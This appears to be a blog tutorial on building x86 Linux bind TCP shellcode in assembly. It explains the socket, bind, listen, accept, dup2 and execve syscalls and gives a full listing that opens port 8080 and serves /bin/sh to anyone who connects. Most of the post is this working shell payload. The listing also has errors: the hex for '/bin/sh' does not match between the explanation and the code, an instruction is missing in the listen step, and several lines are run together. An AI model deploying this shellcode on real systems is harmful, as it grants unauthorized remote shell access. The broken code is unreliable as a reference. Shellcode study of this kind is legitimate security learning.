BIND SHELL TCP

Xavier Invers Fornells
4 min readJun 10, 2019

First of all, I use a bind TCP shell script written in C language in order to have a starting point to make a bind TCP connection in assembly language. Having the schema in C, I translate it to assembly with its respective syscalls.

Let’s start with all this:

To accept connections, the following steps are performed:

1. A socket is created with socket(2).

2. The socket is bound to a local address using bind(2), so that other sockets may be connect(2) ed to it.

3. A willingness to accept incoming connections and a queue limit for incoming connections are specified with listen().

4. Connections are accepted with accept(2).

5. Execution of /bin/sh with execve(2) system call

To sum up, the syscalls I have to use to build the bind shell in assembly are:

socketcall 102
bind
listen
accept
dup2
execve

Let’s see all this 6 syscalls we have to use and the correct configuration of its variables. You can see all x86 syscalls in your own Linux distro (/usr/include/i386-linux-gnu/asm/unistd_32.h in case of Kali) and also in this online resource.

In relation with the system calls related with socket family, you can see all them in /usr/include/linux/net.h

       call              Man page
SYS_SOCKET socket(2)
SYS_BIND bind(2)
SYS_CONNECT connect(2)
SYS_LISTEN listen(2)
SYS_ACCEPT accept(2)
SYS_GETSOCKNAME getsockname(2)
SYS_GETPEERNAME getpeername(2)
SYS_SOCKETPAIR socketpair(2)
SYS_SEND send(2)
SYS_RECV recv(2)
SYS_SENDTO sendto(2)
SYS_RECVFROM recvfrom(2)
SYS_SHUTDOWN shutdown(2)
SYS_SETSOCKOPT setsockopt(2)
SYS_GETSOCKOPT getsockopt(2)
SYS_SENDMSG sendmsg(2)
SYS_RECVMSG recvmsg(2)
SYS_ACCEPT4 accept4(2)
SYS_RECVMMSG recvmmsg(2)
SYS_SENDMMSG sendmmsg(2)

System calls that makes reference to socketcall are SYS_SOCKET, SYS_BIND, SYS_LISTEN, SYS_ACCEPT and they are explained below:

Socket call

1.socket(int domain, int type, int protocol); creates an endpoint for communication and returns a file descriptor that refers to that endpoint.

The configuration for socket is as follows:

int socket(intdomain, int type, int protocol); 
socket(AF_INET, SOCK_STREAM, PROTOCOL)
socket(2, 1, 0)
  • domain = Specifies a communication domain; the protocol family used for communication. Defined in /sys/socket.h;
  • type = Specifies the communication semantics;
  • protocol = The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.

Bind call

The configuration for bind (port 8080) is:

bind(socketcall fd, port number, size(bytes)) 
bind(sockfd, 0x1F90, 0x10)

Listen system call

The configuration for listen is:

listen(socketcall fd, max connections queue)

Our socketcall is saved in EDI and the maximum number of connections in queue will be 0. So the things will be like this:

   xor eax, eax
push 0x66 ; socketcall()
pop eax
xor ebx, ebx
mov bl, 4 ; listen

push edx ; maximum connections in queue (0)
push edi ; sockfd
int 0x80

Accept

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Firs step, is to use the socketcall syscall and set EBX register to 5 (the value of accepting a connection, as I have told before you can check it /usr/include/linux/net.h).

Remind that sockfd is saved in EDI from the first

Execve system call

int execve(const char *pathname, char *const argv[],                   char *const envp[]);

Lastly, we have to call the execve function. The detail to be mentioned here is that the binary we want to execute must be put in reverse order and also every character will be reversed:

/bin/sh will be hs/nib//

Converted to hexadecimal and pushed in the stack is as follow:

push 0x68738f6e

push 0x69622f2f

This will be poped to ECX as argument to execve.

Our final code is:

section .textglobal _start_start:; zero out registers 
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; socketcall(int call, unsigned long *args)
; call = socket(AF_INET, SOCK_STREAM, 0)
push 0x66 ; socketcall = 102 = 0x66 in hex
pop eax
mov ebx, 0x1 ; sys_socket = 1
; ARGS
push edx
push ebx ; SOCK_STREAM = 1
push byte 2 ; AF_INET = 2

mov ecx, esp ; move STACK to ecx, remember args from socketcall
int 0x80
mov edi, eax
; socketcall(int call, unsigned long *args);
; bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

; socketcall
xor eax, eax
push 0x66 ; socketcall()
pop eax

inc ebx ; increase last subcall to 2 (sys_bind)

; struct sockaddr
xor edx, edx
push edx ; sin_addr (IP address)
push word 0x901f ; sin_port 8080
push bx ; address family: AF_INET
mov ecx, esp ; struct sockaddr
; bind arguments
push 0x10 ; addrLen
push ecx ; sockaddr
push edi ; sockfd
mov ecx, esp
int 0x80; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);
xor eax, eax
push 0x66 ; socketcall()
pop eax
xor ebx, ebx
mov bl, 4 ; listen

push edx ; maximum connections in queue (0)
push edi ; sockfd
int 0x80; Accepting the incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; accept(sockfd, 0, 0)

xor eax, eax
push 0x66 ; socketcall()
pop eax
xor ebx, ebx
mov bl, 5
push byte 0
push byte 0
push edi
mov ecx, esp int 0x80;dup2
mov ebx, eax ; clientfd as first argument
xor ecx, ecx
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin
xor eax, eax
dup2:
mov al, 63 ; __NR_dup2
int 0x80
dec ecx
jns dup2 ; jump short if not signed
; execve /bin/sh mov al, 0xb
xor edx, edx
mov ecx, edx
push ecx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp int 0x80

It’s time to check the connection!

Finally, we can check that this TCP Bind Shell connection runs correctly. The next step will be the user can choose the port he/she wants.

See you soon!

--

--